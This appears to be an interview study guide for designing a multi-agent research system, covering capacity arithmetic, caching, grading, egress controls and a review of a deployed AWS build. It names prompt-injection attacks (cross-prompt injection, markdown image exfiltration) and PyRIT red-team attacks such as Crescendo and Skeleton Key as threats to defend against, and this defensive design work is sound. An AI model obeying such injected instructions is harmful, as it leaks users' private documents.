  • The verifier checks the claim against the span.
  • The egress firewall checks the link against the ledger.
  • Bind the scope field to what the tool layer actually used, not what the worker reports. A worker then can't label a private finding as public.

Bounds and result types (recap)

  • The planner may request 3 to 12 steps, but the supervisor enforces a hard cap and a no-progress rule.
  • A branch repeating the same delegation without new evidence → stop.
  • EMPTY = a successful search found nothing. UNAVAILABLE = a tool failed.
  • Neither is proof a claim is false.

3. Latency and Cost Budget

Capacity recap (from walkthrough step 7)

Item Value
Daily runs 40,000 ≈ 28/min
3× peak ~84, rounded up to 100/min
Concurrent runs (~70 s active time) ~120
Slots at 70% utilisation ~170
  • Validate against observed arrival bursts and the service-time distribution.
  • p95 time is not a formal mean for Little's Law.

First signal under 3 seconds, honestly

  • A useful status or partial evidence, never a fake answer.
  • Streaming the plan meets the target honestly: "searching public sources for Acme's leadership; checking your Drive for board documents".

Context isolation cuts cost sharply

  • A web branch sees its task and the relevant snippets.
  • It doesn't see the whole conversation or other branches' histories.
  • Small models for narrow search summaries. A stronger reasoning model only where planning and synthesis need it.

Two kinds of caching (different things)

Cache What it stores Who it can serve
Prefix caching Repeated stable instructions inside model calls Any call with the same prefix
Public answer cache Finished public work, such as "who is Acme's CEO" Everyone
User-scoped answer cache Answers built from one user's Drive Only that user
  • Freshness applies to reuse: a CEO answer cached last year may be wrong today.

What to track

  • Tokens into synthesis
  • Cost per branch
  • Searches per report
  • Replans
  • Tune budgets without cutting coverage the answer needs.
  • The cost-per-report pivot in Practice turns these measures into an answer.

4. Quality Checks and the Grader

What the grader asks

  1. Does the evidence address each research sub-question?
  2. Do the sources agree?
  • Its score alone doesn't decide a release: a grader is itself a model and can be wrong in a consistent direction.

Build the labelled set right

  • Evaluate citation correctness and claim support against human-labelled examples.
  • Include the hard cases:
    • Conflicting sources
    • Stale pages
    • Tool failures
    • Adversarial instructions
  • A labelled set without them measures only the easy runs.

A grader can mislead

  • Example: it scored any answer with three citations as well covered, whatever the citations said.
  • Correct it, then inspect the score distribution again.
  • A drop after the fix can mean better measurement, not worse answers.
  • Read the new distribution before calling it a regression.

Track both kinds of metric

Trajectory metrics Outcome metrics
Hops Task completion
Duplicate searches Grounded-claim rate
Misrouted private queries Citation-free claims
Budget exhaustion Explicit gaps, latency, cost
  • Why both: a good-looking answer can have unsafe routing, and a safe trajectory can still miss the user's question.

5. The Supervisor-and-Workers Build

The mock: "design a research system with a supervisor and workers"

  • It's the anchor's implementation view.
  • The supervisor plans N queries → workers execute them in parallel → a synthesiser merges.
  • State carries findings with operator.add (Python's list concatenation as the reducer), so parallel writes accumulate.
  • Bound it with a hop cap and a per-run model-call budget.

Volunteer the trade-off

  • The supervisor's planning call is pure overhead if the decomposition was predictable.
  • If every run is "search news, search filings, search the user's documents" → hardcode the plan and save a reasoning-tier call per run.

Parallel or sequential

  • Parallel here, because the queries are independent.
  • Parallel costs: N calls at once, merge logic, partial-failure handling.
  • Parallel buys: the latency of the slowest branch, not the sum.
Searches Parallel Sequential
10 s, 15 s, 20 s ~20 s 45 s
  • Sequential is right only when a later step needs an earlier result.
    • Example: find the CEO's name before searching for the CEO's prior companies.

Why multi-agent at all

  • Three valid reasons:
    • Real parallelism
    • Distinct tool permissions per role
    • Context one agent can't hold
  • This design has all three.
  • Can't name any of the three? Use one agent with more tools.

Four costs to name

  1. A supervisor adds one model call per hop.
  2. Passing full history to every agent makes hop N pay for hops 1 to N−1. Pass a summary instead.
  3. Declare a Literal type over the real agent names, then validate the route at runtime against that allowlist before dispatch. The annotation alone doesn't reject a malformed model response.
  4. Parallel agents over one corpus duplicate retrieval. Share one retrieval step upstream.

Two more moves when attributing cost

  • Collapse agents whose only job is passing messages along.
  • Route only hard steps to the expensive model.

6. The Deployed Research Platform as Evidence

What it is

  • The source author built the same product and deployed it on AWS. The source calls it "my own build".
  • Given a topic, it researches, writes a full report, safety-checks it, caches it and remembers it.
  • Read it once as evidence that each whiteboard box is a real component.
  • Nine layers. One request passes through them top to bottom.

The nine layers (as built)

Layer What it does Detail worth quoting
1 · Entry and security API-key check, rate limit, input guardrail, then a job on a queue Wrong key → 401. A Redis counter per client IP, 10 requests per 60 s. Bedrock Guardrails screen raw input before any LLM sees it. A Redis Stream queue decouples accepted from processed.
2 · Smart lookup Three progressively looser checks before any agent runs Semantic cache ≥ 0.85. Exact long-term-memory match ≥ 0.88. Related LTM 0.50–0.88 passed to the Writer as context.
3 · Agent pipeline Search → Summarise → Writer → Critic Search finds 5 key facts using the last four turns of history. A Critic NO under agent_max_iterations loops back to Search.
4 · LLM gateway Every call goes through one sidecar, TensorZero (archived and unmaintained since June 2026) Agents name a function, not a model. Primary OpenAI GPT-4o, fallback Groq llama-3.1-8b-instant (as built; Groq retired that model for free and developer tiers in Aug 2026).
5 · Output, save, evaluate Output guardrail, persist, score Bedrock again on generated content. LLM-as-judge on relevance, completeness, hallucination and quality, in parallel and non-blocking.
6 · Storage Redis for fast and short-lived, Postgres for durable RDS PostgreSQL 15 + pgvector. Every report stored as a 384-dimension embedding.
7 · Observability One trace per request LangSmith spans with eval scores attached. In-process all-MiniLM-L6-v2 embeddings avoid a gateway call but still use compute and add local latency.
8 · Red team PyRIT attacks the real /query endpoint Jailbreaks, XPIA, Crescendo, Skeleton Key. Every Monday at 02:00 UTC via EventBridge.
9 · Infra and CI/CD Terraform, GitHub Actions, ECS Fargate Auto-rollback on failed health checks. Secrets Manager. CloudWatch logs kept seven days.

XPIA = cross-prompt injection attack: instructions hidden in content the model reads (a document, web page or tool result) that try to hijack it. RDS = AWS's managed relational database. ECS = AWS's managed container service.

Dependency notes (as of the source's fact-check)

  • TensorZero's repository was archived on 12 June 2026.
  • Groq retired llama-3.1-8b-instant for free and developer tiers in August 2026.
  • GPT-4o was still offered.
  • Check supported replacements before rebuilding it.

Four pieces carry the difference from the whiteboard

Piece Why it matters
The gateway Agents call a named function; the gateway maps it to a model. An outage, rate limit or price change becomes a config change, not a code change in five places.
Guardrails on both sides A model can produce harmful output from a benign prompt, so output is screened too. The input check runs on raw user input, not an agent's interpretation of it.
pgvector makes the cache durable Redis holds short-lived entries. A report evicted from Redis is still found in Postgres at similarity 0.88 or more. A related one in the 0.50–0.88 band seeds the Writer.
PyRIT attacks the real path It goes through the same auth, rate-limit and guardrail path as a real user. A pass is genuine evidence those defences held against those attacks, not proof of immunity to attacks it didn't try.

What its agent layer is, and what it lacks

  • Layer 3 is a pipeline with a loop and a gate, closer to a single agent taking multiple steps than a supervisor with workers.
    • Its agents share one context and one tool set.
    • The Critic's independent judgement and the bounded retry earn the split.
  • What it lacks (the coverage-map habit):
    • No per-user access control: one API key, no tenant model, so every user sees every cached report. The source's fact-check points at the reference build's app/auth.py and app/cache.py.
    • Fine for a research tool. Wrong for an enterprise one, and exactly the anchor's per-user isolation requirement.
    • No deterministic release gate: the judge scores are observability, not a gate.
  • Don't copy those defaults into the anchor. It's a consumer product, but it holds each user's private documents, so it needs both missing properties.

7. Three Variants and When Each Fits

Variant What it is Trace the Acme question Choose it when
AWS platform API-key and Redis limits, Bedrock input/output guardrails, cache and vector memory, search → summarise → write → critic loop, gateway tracing, Postgres + pgvector, deployment automation Every user's question passes through the same shared report cache You want the infrastructure reference. Then add the two missing pieces: per-user ACL and a deterministic release gate.
Supervisor-worker Parallel sub-questions and an append reducer Supervisor plans "public leadership page" and "user's board documents" as two workers with different permissions, merged by concatenation Permissions or independent work justify agent boundaries
Deterministic workflow Decomposition fixed in code The same two searches run every time, with no supervisor call deciding them Decomposition is predictable. It avoids the supervisor's cost and its loops.

8. References and Source Notes

Boundaries on the claims

  • Typed findings don't make injected content trustworthy.
  • Whole-run cost savings need measurement.
  • The routing code is an illustrative sketch, with the signature limits explained in walkthrough step 9.
  • Historical deployment details are reported by the original team, not reproduced here.
  • OWASP LLM01 supports layered controls. Python typing docs distinguish annotations from runtime enforcement.
  • The source was fact-checked on 27 September 2026.

Reference list

Reference What it supports
LangGraph docs: INVALID_CONCURRENT_GRAPH_UPDATE Parallel writes to a key with no reducer raise an error; silent loss needs a hand-rolled merge
Liu et al. 2023, Lost in the Middle Information mid-context is used less reliably
Chroma Research 2025, Context Rot Accuracy degrades as input length grows
Anthropic Engineering: How we built our multi-agent research system Multi-agent runs use many more total tokens; isolation alone doesn't cut the bill
Little 1961, A Proof for the Queuing Formula L = λW Little's Law uses mean time in system
Claude docs: Models overview Current model tiers
Claude docs: Pricing Per-token prices behind the $0.20 run budget
Claude docs: Rate limits Provider quotas that can bind at 10×
Simon Willison: The lethal trifecta for AI agents (16 June 2025) Private data + untrusted content + an outbound channel
MSRC: How Microsoft defends against indirect prompt injection attacks (Jul 2025) Markdown image exfiltration; prompt defences reduce rates but aren't boundaries
OWASP GenAI LLM01:2025 Prompt Injection No complete prompt-level fix exists
Cemri et al., Why Do Multi-Agent LLM Systems Fail? (arXiv 2503.13657) Failures spread across design, coordination and verification, not routing alone
AWS Bedrock User Guide: Use the ApplyGuardrail API Guardrails can screen input before any model call
tensorzero/tensorzero on GitHub Repository archived on 12 June 2026
GroqDocs: Model deprecations llama-3.1-8b-instant retired for free and developer tiers in Aug 2026
OpenAI API docs: Deprecations GPT-4o still offered
OpenAI API docs: GPT-4o model page GPT-4o still listed
microsoft/PyRIT Crescendo, Skeleton Key and XPIA attacks
Reference build app/auth.py and app/cache.py One API key, no tenant model, shared report cache

Quick Recall: Lines to Say in the Interview

  • "Public branches never hold document scope. The credential simply isn't there."
  • "Identity goes in the retrieval and cache keys, not just the prompt."
  • "Zero cross-user leaks beats five points of claim support."
  • "Every evidence record names source, scope, timestamp, span and claim."
  • "Bind the scope field to what the tool layer used, not what the worker says."
  • "Prefix caching and answer caching are different, and private answers serve only their owner."
  • "A grader fix can lower scores. Read the distribution before calling it a regression."
  • "Parallel costs N calls and buys the slowest branch instead of the sum."
  • "The real build lacked per-user ACL and a release gate. The anchor needs both."

Quick review

One sentence: use multiple agents only where parallel research and permission isolation help. A bounded planner delegates, a typed ledger merges findings, and a verifier plus egress filter turns them into a cited answer with explicit uncertainty.

30-Second Cheat Sheet

  • Ask first: valid citation, private documents, partial-answer rule, is $0.20 hard, what failed tools mean.
  • Separate credentials for web and private-document agents.
  • Append branch evidence. Never last-write-wins a shared summary.
  • Read-only means no approval subsystem, and you say so on purpose.
  • EMPTY ≠ UNAVAILABLE. Failures become named gaps.
  • Egress firewall on the rendered answer.
  • The falsifying metric is the grade distribution after correction.

1. Ask First and the Whiteboard Path

Ask first

  1. What counts as a valid citation?
  2. Which documents are private?
  3. What's the partial-answer rule?
  4. Is $0.20 a run hard?
  5. What do failed tools mean?

The whiteboard path

Auth → bounded LLM plan → parallel public-web + user-scoped document agents → typed evidence ledger → coverage check / capped replan → LLM synthesis → claim verification → egress sanitizer → cited answer + gaps

Three rules

  • Keep web and private-document credentials separate.
  • Append branch evidence. Never last-write-wins a shared summary.
  • Read-only = no approval subsystem. Say so on purpose.

2. Numbers and Limits

Item Value
Daily runs 40,000 ≈ 28/min
Peak (3×) ≈ 84/min, rounded up to 100/min
In flight ~120 at a 70 s mean run time (Little's Law needs the mean, not p95)
Slots to provision ~170 at 70% utilisation
Latency p95 < 90 s, first signal < 3 s
Cost ceiling $0.20/run
Planned steps 3 to 12
Hop cap 8 (the example)
Naive run Seven steps, ~30,000 input tokens on the premium tier → blows the budget
  • Cost levers: isolation, prefix caching and tier routing. Measure them before claiming the run fits.
  • Hard caps: hops, tools, time and budget, plus a no-progress signature.

Deployed platform numbers

Item Value
Rate limit 10 requests per 60 s per IP
Semantic cache hit ≥ 0.85
Durable memory match ≥ 0.88
Related context band 0.50 to 0.88

3. Fail Safely and Evaluate

Fail safely

  • EMPTY ≠ UNAVAILABLE.
  • Thin evidence or a failed branch → state the gap.
    • Nine findings and a gap note, never nothing.
  • Cap or outage → partial answer with the reason.
  • Strip image and markup fetches and unapproved links from the final answer.
  • Private caches are user-scoped.
  • Never downgrade the verifier silently.

Evaluate

What to measure What to test
Claim-citation support Poisoned pages
Coverage Missing documents
Cross-user leaks Conflicting sources
p95 and first signal Missing tools
Cost
Hops, routing, no-progress loops
  • Audit the ledger and the sanitizer, not only the answer.
  • The falsifying metric: the grade distribution after correction.

4. Takeaways and the Closing Line

Takeaways

  • Opening: the first eight minutes set the eight numbers, the oracle and the scope cut, ending with "is that the system?".
  • Requirements are testable: ~40,000 runs/day, p95 < 90 s, first signal < 3 s, $0.20/run, read-only, per-user isolation.
  • State: a concatenating evidence list and a budget summed across branches, so no parallel result is lost.
  • Architecture: an untrusted web zone and a user-scoped zone, joined only by typed findings.
  • Isolation: limits parent-context growth and direct tool access. Measure total cost, and protect the parent and rendering path too.
  • Arithmetic: 100 runs/min at peak → ~120 in flight by Little's Law → ~170 provisioned.
  • Exfiltration: the rendered answer is a channel, so an egress firewall on rendering is mandatory.
  • Termination: done flag, hop cap, no-progress check, per-run budget. Each returns partial results.
  • Failures: every failed branch degrades to a gap note; empty is typed apart from unavailable.
  • Evaluation: the grade distribution is the falsifying metric; trajectory evaluation matters more than outcome alone.
  • Deployed platform: proves the boxes are real, but lacks per-user access control and a release gate.
  • Supervisor-worker build: fans out N independent queries. Hardcode a predictable decomposition.
  • Level: the 45-minute script, the follow-up bank and the rubric decide the level more than the diagram does.
  • Cost pivot: cap rounds, deduplicate, compress, cache by topic.

Sixty-second close: "I use multiple agents only where parallel research and permission isolation help. A bounded planner delegates, a typed ledger merges findings, and a verifier plus egress filter turns them into a cited answer with explicit uncertainty."


Flashcard Drill


Quick Recall: Lines to Say in the Interview

  • "Is that the system?"
  • "Read-only means no approval subsystem, and I'm saying so on purpose."
  • "Web and private-document credentials are separate."
  • "Append evidence; never last-write-wins a summary."
  • "100 a minute at peak, about 120 in flight, about 170 provisioned."
  • "Empty is a finding, unavailable is a gap."
  • "The rendered answer is an exfiltration channel, so render goes through an egress firewall."
  • "The falsifying metric is the grade distribution after correction."

Where next

Revise the concepts